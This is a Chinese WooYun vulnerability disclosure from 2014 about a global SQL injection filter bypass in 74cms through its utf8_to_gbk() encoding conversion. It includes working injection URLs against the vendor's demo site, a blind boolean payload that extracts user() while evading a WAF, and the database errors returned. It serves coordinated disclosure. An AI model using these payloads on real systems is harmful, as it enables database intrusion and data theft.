当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-080490

漏洞标题：74cms(20141020)全局SQL注入过滤绕过

相关厂商：74c,s.com

漏洞作者： 龟兔赛跑

提交时间：2014-10-27 10:19

修复时间：2015-01-25 10:20

公开时间：2015-01-25 10:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-27： 细节已通知厂商并且等待厂商处理中
2014-10-28： 厂商已经确认，细节仅向厂商公开
2014-10-31： 细节向第三方安全合作伙伴开放
2014-12-22： 细节向核心白帽子及相关领域专家公开
2015-01-01： 细节向普通白帽子公开
2015-01-11： 细节向实习白帽子公开
2015-01-25： 细节向公众公开

简要描述：

74cms_v3.5.1_20141020
绕过全局SQL注入过滤。

详细说明：

WooYun: 74cms 最新版 注入8-9 报道过74cms转换编码导致的SQL注入的问题，是由于使用了iconv()函数导致的，74cms做了修正，转而使用了自定义的函数utf8_to_gbk()来转换编码，代码如下：

function utf8_to_gbk($utfstr) {
	global $UC2GBTABLE;
	$okstr = '';
	if(empty($UC2GBTABLE)) {
		define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR);
		$filename = CODETABLEDIR.'gb-unicode.table';
		$fp = fopen($filename, 'rb');
		while($l = fgets($fp,15)) {        
			$UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6));
		}
		fclose($fp);
	}
	$okstr = '';
	$ulen = strlen($utfstr);
	for($i=0; $i<$ulen; $i++) {
		$c = $utfstr[$i];
		$cb = decbin(ord($utfstr[$i]));
		if(strlen($cb)==8) { 
			$csize = strpos(decbin(ord($cb)),'0');
			for($j = 0; $j < $csize; $j++) {
				$i++; 
				$c .= $utfstr[$i];
			}
			$c = utf8_to_unicode($c);
			if(isset($UC2GBTABLE[$c])) {
				$c = dechex($UC2GBTABLE[$c]+0x8080);
				$okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3]));
			} else {
				$okstr .= '&#'.$c.';';
			}
		} else {
			$okstr .= $c;
		}
	}
	$okstr = trim($okstr);
	return $okstr;
}


不过这个转换代码还是会导致SQL注入。
例如输入为%88%ec%27，经过全局注入addslashes_deep()处理后就把变成了
%88%ec%5c%27,
utf8_to_gbk()转换过后就变成了： 謜'，导致了'的注入。
理论上所有使用utf8_to_gbk(), 然后会带入SQL语句的代码都受影响。

# grep -nr utf8_to_gbk .
./user/company/company_info.php:26:	$setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('��û��������ҵ���ƣ�');
./user/company/company_info.php:29:	$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));
./user/company/company_info.php:31:	$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));
./user/company/company_info.php:34:	$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));
./user/company/company_info.php:38:	$setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn']));
./user/company/company_info.php:40:	$setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('��ѡ����˾��ģ��');
./user/company/company_info.php:41:	$setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn']));
./user/company/company_info.php:42:	$setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered']));
./user/company/company_info.php:43:	$setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency']));
./user/company/company_info.php:44:	$setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('����дͨѶ��ַ��');
./user/company/company_info.php:46:	$setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('����д��ϵ�ˣ�');
./user/company/company_info.php:48:	$setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('����д��ϵ�绰��');
./user/company/company_info.php:50:	$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('����д��ϵ���䣡');
./user/company/company_info.php:52:	$setsqlarr['website']=utf8_to_gbk(trim($_POST['website']));
./user/company/company_info.php:54:	$setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('����д��˾���飡');
./user/user_report_resume.php:189:	$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);
./user/user_report_resume.php:190:	$setsqlarr['title']=utf8_to_gbk($setsqlarr['title']);
./user/user_apply_jobs.php:302:			$addarr['notes']=utf8_to_gbk($addarr['notes']);
./user/user_invited.php:347:		$addarr['notes']=utf8_to_gbk($addarr['notes']);
./user/personal/personal_resume.php:244:	$setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"�������";
./user/personal/personal_resume.php:246:	$setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('���������');
./user/personal/personal_resume.php:250:	$setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn']));
./user/personal/personal_resume.php:252:	$setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('��ѡ���־�ס�أ�');
./user/personal/personal_resume.php:253:	$setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn']));
./user/personal/personal_resume.php:255:	$setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn']));
./user/personal/personal_resume.php:257:	$setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn']));
./user/personal/personal_resume.php:258:	$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('����д���䣡');
./user/personal/personal_resume.php:263:	$setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn']));	
./user/personal/personal_resume.php:265:	$setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn']));
./user/personal/personal_resume.php:266:	$setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs']));
./user/personal/personal_resume.php:268:	$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));
./user/personal/personal_resume.php:271:	$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));
./user/personal/personal_resume.php:273:	$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));
./user/personal/personal_resume.php:275:	$setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn']));
./user/personal/personal_resume.php:394:	$school = utf8_to_gbk(trim($_POST['school']));
./user/personal/personal_resume.php:395:	$speciality = utf8_to_gbk(trim($_POST['speciality']));
./user/personal/personal_resume.php:396:	$education_cn = utf8_to_gbk(trim($_POST['education_cn']));
./user/personal/personal_resume.php:496:	$companyname = utf8_to_gbk(trim($_POST['companyname']));
./user/personal/personal_resume.php:497:	$jobs = utf8_to_gbk(trim($_POST['jobs']));
./user/personal/personal_resume.php:498:	$achievements = utf8_to_gbk(trim($_POST['achievements']));
./user/personal/personal_resume.php:601:	$agency = utf8_to_gbk(trim($_POST['agency']));
./user/personal/personal_resume.php:602:	$course = utf8_to_gbk(trim($_POST['course']));
./user/personal/personal_resume.php:603:	$description = utf8_to_gbk(trim($_POST['description']));
./user/plus/ajax_user.php:32:	$username=utf8_to_gbk($username);
./user/plus/ajax_user.php:33:	$password=utf8_to_gbk($password);
./user/plus/ajax_user.php:41:		$postcaptcha=utf8_to_gbk($postcaptcha);
./user/plus/ajax_user.php:73:		$postcaptcha=utf8_to_gbk($postcaptcha);
./user/plus/ajax_user.php:87:	$username=utf8_to_gbk($username);
./user/plus/ajax_user.php:88:	$password=utf8_to_gbk($password);
./user/plus/ajax_user.php:134:	$usname=utf8_to_gbk($usname);
./user/plus/ajax_user.php:157:	$email=utf8_to_gbk($email);
./user/user_report.php:189:	$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);
./user/user_report.php:190:	$setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']);
./wap/company/wap_company_jobs.php:83:	$_POST=array_map("utf8_to_gbk", $_POST);
./wap/company/wap_company_jobs.php:324:	$_POST=array_map("utf8_to_gbk", $_POST);
./wap/company/wap_user.php:49:	$_POST=array_map("utf8_to_gbk", $_POST);
./wap/personal/wap_apply.php:46:	$_POST=array_map("utf8_to_gbk", $_POST);
./wap/personal/wap_user.php:93:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:231:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:294:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:335:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:410:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:481:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:539:	$_POST=array_map("utf8_to_gbk",$_POST);
./wap/personal/wap_user.php:643:	$_POST=array_map("utf8_to_gbk", $_POST);
./include/common.fun.php:934:function utf8_to_gbk($utfstr) {
./plus/ajax_search_location.php:18:$_GET['key']=utf8_to_gbk($_GET['key']);
./plus/ajax_simple.php:266:	$pwd=utf8_to_gbk($pwd);
./plus/weixin.php:36:			$keyword = utf8_to_gbk($keyword);
./plus/ajax_common.php:69:	$gbk_query=utf8_to_gbk($gbk_query);
./plus/ajax_street.php:48:	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key);
./plus/ajax_user.php:32:	$username=utf8_to_gbk($username);
./plus/ajax_user.php:33:	$password=utf8_to_gbk($password);
./plus/ajax_user.php:41:		$postcaptcha=utf8_to_gbk($postcaptcha);
./plus/ajax_user.php:73:		$postcaptcha=utf8_to_gbk($postcaptcha);
./plus/ajax_user.php:87:	$username=utf8_to_gbk($username);
./plus/ajax_user.php:88:	$password=utf8_to_gbk($password);
./plus/ajax_user.php:134:	$usname=utf8_to_gbk($usname);
./plus/ajax_user.php:157:	$email=utf8_to_gbk($email);


这里就不一一尝试了，只是使用其中的一个两个验证一下：
1：

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%88%ec%27


返回SQL错误：

Error：Query error:SELECT * FROM qs_hotword WHERE w_word like '%謜'%' ORDER BY `w_hot` DESC LIMIT 0 , 10


1.png


AND/OR注入绕过安全狗取得user()信息：
FALSE的情况，返回所有的hotword：

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%88%ec%27%20or%20strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,115))%23


3.png


TRUE的情况，:没有任何返回

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%88%ec%27%20or%20strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))%23


4.png


user() = root@localhost


2：

http://demo.74cms.com/plus/ajax_user.php?act=check_usname
POST： usname=%88%ec%27


返回错误：

Error：Query error:select * from qs_members where username = '&#35612;'' LIMIT 1


2.png

漏洞证明：

1.png


2.png


修复方案：

修正utf8_to_gbk()，以及不要过度依赖全局过滤。
PS: 传说中的通用性软件安全漏洞奖励呢？为啥没有一个漏洞给过？

版权声明：转载请注明来源 龟兔赛跑@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-10-28 14:24

厂商回复：

感谢反馈！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-10-27 10:45 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    ...大牛啊

  2. 2014-10-27 10:53 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    屌爆

  3. 2014-10-27 10:54 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    前排 掉渣天

  4. 2014-10-27 11:09 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    牛逼！

  5. 2014-10-27 12:42 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

    nice

  6. 2014-10-28 14:44 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    敢不敢来个74cms getshell

  7. 2014-10-28 21:38 | 龟兔赛跑 ( 普通白帽子 | Rank:243 漏洞数:29 | 初学者)

    @风花雪月 getshell搞不定阿,还没这个能力

  8. 2014-10-30 10:04 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    绕过的意思是能select from了？

  9. 2014-10-30 10:17 | 龟兔赛跑 ( 普通白帽子 | Rank:243 漏洞数:29 | 初学者)

    select from还是不能阿,只是不需要二次注入了

  10. 2015-01-25 10:55 | Mark ( 路人 | Rank:8 漏洞数:2 | 渗透你的心)

    注入牛